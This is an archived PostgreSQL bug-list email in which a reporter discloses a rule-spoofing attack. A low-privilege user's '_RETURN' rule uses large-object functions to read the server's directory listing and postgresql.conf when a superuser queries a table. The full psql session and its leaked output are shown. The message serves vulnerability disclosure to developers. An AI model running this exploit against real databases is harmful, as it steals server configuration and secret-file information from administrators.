From: 德哥 <digoal@126.com>
To: David G. Johnston <david.g.johnston@gmail.com>
Cc: pgsql-bugs@postgresql.org <pgsql-bugs@postgresql.org>
Subject: Re: BUG #13651: trigger security invoker attack
Date: Wed, 30 Sep 2015 13:19:46 +0800 (CST)
Message-ID: <6afdf76.718e.1501cb131cf.Coremail.digoal@126.com> (raw)
In-Reply-To: <CAKFQuwbRFFSMy_0xxGe75MR4XBrCm+rbogug6hrVx044obkMEA@mail.gmail.com>
References: <20150929115737.1448.91255@wrigleys.postgresql.org>
<CAKFQuwa3coX=mS-SFN5rvGZELeaYFysHY3SdJPfWP4Ncr5LT0A@mail.gmail.com>
<3ed1e8e4.24ae.1501bd26a65.Coremail.digoal@126.com>
<CAKFQuwZkmBiq9fAZHOjEfbOoazzm=NQwvpBvVGtgrgjT__4EhQ@mail.gmail.com>
<762bf7bb.3a36.1501c0057c6.Coremail.digoal@126.com>
<CAKFQuwYVUfXBbmb+hmbY-SVS8D0DemfP2-c+gp-wAnyZy8zNUQ@mail.gmail.com>
<6e7ae4ae.49d8.1501c1fd9e8.Coremail.digoal@126.com>
<CAKFQuwbRFFSMy_0xxGe75MR4XBrCm+rbogug6hrVx044obkMEA@mail.gmail.com>
List-Unsubscribe: <mailto:majordomo@postgresql.org?body=unsub%20pgsql-bugs>
Thanks, there is also other risks in PostgreSQL.
people can use large object function & rule spoofing.
postgres=> create table v2(id int);
CREATE TABLE
postgres=> select lo_create(1);
lo_create
-----------
1
(1 row)
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from (select lowrite(lo_open(1,131072), con::bytea) from (select string_agg(c,' | ') as con from pg_ls_dir('.') as t(c)) t)t;;
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
postgres=# \c postgres digoal
postgres=> select convert_from(loread(lo_open(1,262144),1000),'utf8');
convert_from
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
pg_xlog | pg_multixact | base | .s.PGSQL.1922.lock | recovery.done | pg_log | pg_logical | pg_subtrans | backup_label.old | pg_stat_tmp | PG_VERSION | postmaster.opts | tsearch_data | pg_stat | pg_serial |
VITESSE_LICENSE_KEY | pg_notify | postgresql.conf | pg_replslot | pg_tblspc | pg_ident.conf | server.crt | pg_dynshmem | pg_twophase | global | server.key | .s.PGSQL.1922 | .s.PGSQL.1921.lock | .s.PGSQL.1921 |
postmaster.pid | pg_hba.conf | pg_worker_list.conf | pg_clog | postgresql.auto.conf | pg_snapshots
(1 row)
postgres=> select lo_create(2);
lo_create
-----------
2
(1 row)
postgres=> drop view v2;
DROP VIEW
postgres=> create table v2(id int);
CREATE TABLE
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from (select lowrite(lo_open(2,131072), pg_read_binary_file('postgresql.conf'))) t;
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> select convert_from(loread(lo_open(2,262144),100000),'utf8');
convert_from
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
# ----------------------------- +
# PostgreSQL configuration file +
# ----------------------------- +
# +
# This file consists of lines of the form: +
# +
# name = value +
# +
# (The "=" is optional.) Whitespace may be used. Comments are introduced with +
# "#" anywhere on a line. The complete list of parameter names and allowed +
# values can be found in the PostgreSQL documentation. +
# +
# The commented-out settings shown in this file represent the default values. +
# Re-commenting a setting is NOT sufficient to revert it to the default value; +
# you need to reload the server. +
# +
# This file is read on server startup and when the server receives a SIGHUP +
# signal. If you edit the file on a running system, you have to SIGHUP the +
# server for the changes to take effect, or use "pg_ctl reload". Some +
# parameters, which are marked below, require a server shutdown and restart to +
......
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Reply to all the recipients from your mail client; the link fills in
the headers below: reply via email
Some clients, webmail especially, drop In-Reply-To and References from
a link, and the reply then starts a new thread: use the mbox below.
To: pgsql-bugs@postgresql.org
Cc: digoal@126.com, david.g.johnston@gmail.com
Subject: Re: BUG #13651: trigger security invoker attack
In-Reply-To: <6afdf76.718e.1501cb131cf.Coremail.digoal@126.com>
References: <20150929115737.1448.91255@wrigleys.postgresql.org> <CAKFQuwa3coX=mS-SFN5rvGZELeaYFysHY3SdJPfWP4Ncr5LT0A@mail.gmail.com> <3ed1e8e4.24ae.1501bd26a65.Coremail.digoal@126.com> <CAKFQuwZkmBiq9fAZHOjEfbOoazzm=NQwvpBvVGtgrgjT__4EhQ@mail.gmail.com> <762bf7bb.3a36.1501c0057c6.Coremail.digoal@126.com> <CAKFQuwYVUfXBbmb+hmbY-SVS8D0DemfP2-c+gp-wAnyZy8zNUQ@mail.gmail.com> <6e7ae4ae.49d8.1501c1fd9e8.Coremail.digoal@126.com> <CAKFQuwbRFFSMy_0xxGe75MR4XBrCm+rbogug6hrVx044obkMEA@mail.gmail.com> <6afdf76.718e.1501cb131cf.Coremail.digoal@126.com>
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
This inbox is served by DDX for PostgreSQL; see mirroring instructions
for how to clone and mirror all data and code used for this inbox